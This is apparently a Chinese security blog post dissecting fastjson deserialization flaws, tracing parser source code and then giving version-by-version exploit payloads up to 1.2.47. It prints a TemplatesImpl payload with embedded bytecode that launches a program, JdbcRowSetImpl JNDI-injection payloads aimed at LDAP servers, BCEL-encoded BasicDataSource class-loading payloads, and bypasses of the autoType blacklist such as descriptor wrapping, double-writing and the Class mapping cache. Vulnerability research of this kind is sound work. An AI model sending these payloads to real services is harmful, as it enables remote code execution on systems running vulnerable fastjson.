fastjson反序列化漏洞

Ho1d_F0rward發表於2024-09-22

fastjson

將java中的類和json相互轉化的一個工具.

簡單使用

javabean類轉json

public class FastjsonTest {
    public static void main(String[] args) {
        User user = new User();
        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}
{"id":"yyyy-MM-dd HH:mm:ss"}

自省支援

使轉化json中記錄了類的型別.

public class FastjsonTest {
    public static void main(String[] args) {
        User user = new User();
        String json = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(json);
    }
}
{"@type":"User","id":"yyyy-MM-dd HH:mm:ss"}

json轉javabean類

parseObject

存在@type


public class POC1 {
    public static void main(String[] args) {
        String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload, User.class).getClass());
    }
}
無參構造
setId
setName
class User
public class POC1 {
    public static void main(String[] args) {
        String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload).getClass());
    }
}
無參構造
setId
setName
getId
getNameclass com.alibaba.fastjson.JSONObject

使用parseObject可以指定轉化後的型別.同時我們可以看出未指定型別的時候,是先初始化類然後在使用get方法來獲取其中的屬性來建立JSONObject類的.

未存在@type

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload, User.class).getClass());
    }
}
無參構造
setId
setName
class User
public class POC1 {
    public static void main(String[] args) {
        String payload="{\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload).getClass());
    }
}
class com.alibaba.fastjson.JSONObject

不使用@type對指定類的無影響,未指定類的就不會進行初始化了.

parse

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parse(payload).getClass());
    }
}
class com.alibaba.fastjson.JSONObject

未指定@type就不存在例項化.

原始碼解析

因為parseObject只要存在@type就可以進行反序列化,後文的分析即以parseObject()為主

從呼叫鏈來看,是透過反射來實現呼叫類的屬性和方法的.我們分析一下這些所涉及的類

JSON

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

從這裡就看出parseObject方法本質底層是使用的parse,只是進行了一次轉化而已.

從這裡看的話,JSON是初始化了一個DefaultJSONParser,並進行了呼叫.

 DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();

DefaultJSONParser

我們發現這時傳遞了了class,那麼DefaultJSONParser其中就一定有關於對類的型別確認的邏輯.

JavaBeanDeserializer

傳遞了物件,即對一個類進行例項化.

DefaultFieldDeserializer

對FieldDeserializer類進行了一些配置

FieldDeserialize

Map map = (Map)method.invoke(object);

使用反射直接呼叫變數中的方法,

反序列化

<dependency>
     <groupId>com.alibaba</groupId>
     <artifactId>fastjson</artifactId>
     <version>1.2.24</version>
   </dependency>

TemplatesImpl

限制

Feature.SupportNonPublicField開啟

因為我們要對私有屬性進行一個賦值

我們想要呼叫的方法為

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

我們發現這剛好就是一個get方法,我們檢視一下是否有對應的屬性

        /**
     * Output properties of this translet.
     */
    private Properties _outputProperties;

我們發現存在下劃線,你們是否可以呼叫,我們看看原始碼.由上文的原始碼邏輯分析來看,關於類的例項化的處理是JavaBeanDeserializer.我們直接查詢下劃線試試.發現是存在下劃線的處理的.那麼大機率是可以呼叫的.

                for(i = 0; i < key.length(); ++i) {
                    char ch = key.charAt(i);
                    if (ch == '_') {
                        snakeOrkebab = true;
                        key2 = key.replaceAll("_", "");
                        break;
                    }
{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADMAHAEAA0NhdAcAFgEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIQ2F0LmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQALbm90ZXBhZC5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAFkV2aWxDYXQ2NTM4ODI3MzI3MTQxMDABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAXAQAGPGluaXQ+DAAZAAgKABgAGgAhAAIAGAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

JdbcRowSetImpl

限制

可以進行出網

符合jndi攻擊限制

其中的setAutoCommit會執行一個lookup

 public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }
private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

那麼我們的目標就是控制this.getDataSourceName(),顯然可以透過setDataSourceName()來進行設定.

public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

那麼我們就可以實現jndi注入攻擊了.

public class FastjsonTest {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
                JSON.parse(payload);
    }
}

BasicDataSource

這裡我們要利用的就是它的getConnection()方法來實現任意程式碼執行,具體原理參考BCEL反序列化漏洞原理

{
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}

安全機制與bypass

parse()呼叫get方法

fastjson<=1.2.36

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
    }:"xxx"
}

在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 這一整段外面再套一層{},這樣的話會把這個整體當做一個JSONObject,會把這個當做key,值為xxx。

在DefaultJSONParser.parseObject方法後面會呼叫key的toString方法

$ref呼叫

astjson解析到ref會判斷為是一個引用,[1]表示的是陣列裡的第二個元素,可以看到第二個元素是一個User物件。則

{
   { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
    }
    {
        "$ref": "$[0].Connection"
    }
}

1.2.25

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\", \"t1\":{}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(JSON.parseObject(payload).getClass());
    }
}

autoTypeSupport即是1.2.25新的一個配置.

安全機制

我們使用之前的playload,會發現出現報錯.我們對比一下1.2.25和1.2.24的差異.

我們會發現邏輯中出現了一個新的config.checkAutoType().可以看到在解析過程中,只要key值為@type時,就會進入checkAutoType函式嘗試獲取類.我們先觀察一下其中的條件分支,我們觀察那些不被autoTypeSupport配置影響的邏輯.

   Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

他們存在的主要原因是在於fastjson想讓一些基礎類(還有一些白名單中的異常類)可以不受SupportAutoType限制就可以反序列化

所以從程式碼的邏輯來看,一下情況都返回class

  • acceptHashCodes 白名單
  • INTERNAL_WHITELIST_HASHCODES 內部白名單
  • TypeUtils.mappings mappings快取
  • deserializers.findClass 指定類
  • typeMapping.get 預設為空
  • JsonType 註解
  • exceptClass 存在期望類

我們的報錯具體是由這段程式碼引發的

   
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

那麼很明顯denyList就是黑名單了.acceptList就是一個白名單.

具體使用如下

未開啟autotyesupport時,會有以下的步驟:

  • 判斷typename是否在黑名單中(以黑名單中的類名開頭),如果是則直接攔截
  • 判斷typename是否在白名單中(預設為空),如果是則根據類名尋找類

可以看到是先進行了一個黑名單的過濾,再從白名單中尋找允許的類。

當開啟autotypesupport時,會有以下的步驟:

  • 判斷typename是否在在白名單中,如果是則直接根據類名尋找類並返回
  • 判斷typename是否在黑名單中(以黑名單中的類名開頭),如果是則直接攔截
  • TypeUtils.loadClass(typeName, this.defaultClassLoader): 呼叫這個方法去尋找類並返回

即開啟autotypesupport後,只要不在黑名單即可

bypass

開啟autotypesupport

1.2.25-1.2.41

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
    "autoCommit": true
}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}

上文我們提到過,開啟autotypesupport後,假如一個類即不在黑名單也不在白名單裡.會直接使用`TypeUtils.loadClass來進行一個載入.

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }

        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }

問題就在於這裡對[和L的處理.[和L是JNI的欄位描述符,以L開頭;;結尾代表的是java中的Object,以[開頭代表的是陣列。所以在惡意類前新增L或[,那麼就可以繞過對L或[的檢查.載入到我們的惡意類.

未開啟autotypesupport

利用mappings快取的繞過

MiscCodec中呼叫了TypeUtils.loadClass.

當class是一個java.lang.Class類時,會去載入指定類.將類寫入mappings快取

  if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

1.2.42

安全機制

我們發現現在是對hash進行對比.並且會去除頭尾的 L [ ;但是隻是一次過濾.

bypass

開啟autotypesupport

我們直接經典的雙寫繞過.

{
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
    "autoCommit": true
}

1.2.43

安全機制

這個版本的fastjson判斷只要以LL開頭就直接丟擲異常:

我們就可以使用,以[開頭的來進行繞過

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}

1.2.44

這個版本的fastjson判斷只要以[開頭就丟擲異常,以;結尾也丟擲異常,因此我們上述的繞過方法都失效了:

long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
    throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    throw new JSONException("autoType is not support. " + typeName);
}

這個bypass主要是用到的一個黑名單外的類,其是mybatis包裡的類,所以需要有mybatis的依賴:

{
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
        "data_source": "ldap://127.0.0.1:23457/Command8"
    }
}

1.2.47

到1.2.47這個都是可以用的

{
    "payload1": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "payload2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Object",
        "autoCommit": true
    }
}

1.2.47之後的大多條件就比較複雜了,這些版本里也沒啥很好的繞過方法,網上多是從黑名單中結合JNDI注入找漏網之魚(找到的多為元件類,需要目標機器上有該元件才能打https://paper.seebug.org/1155/)以及expectClass繞過AutoType

參考文章

https://xz.aliyun.com/t/12096#toc-4

https://longlone.top/安全/java/java安全/元件安全/fastjson/#安全機制與bypass

https://www.kingkk.com/2020/06/淺談下Fastjson的autotype繞過/

相關文章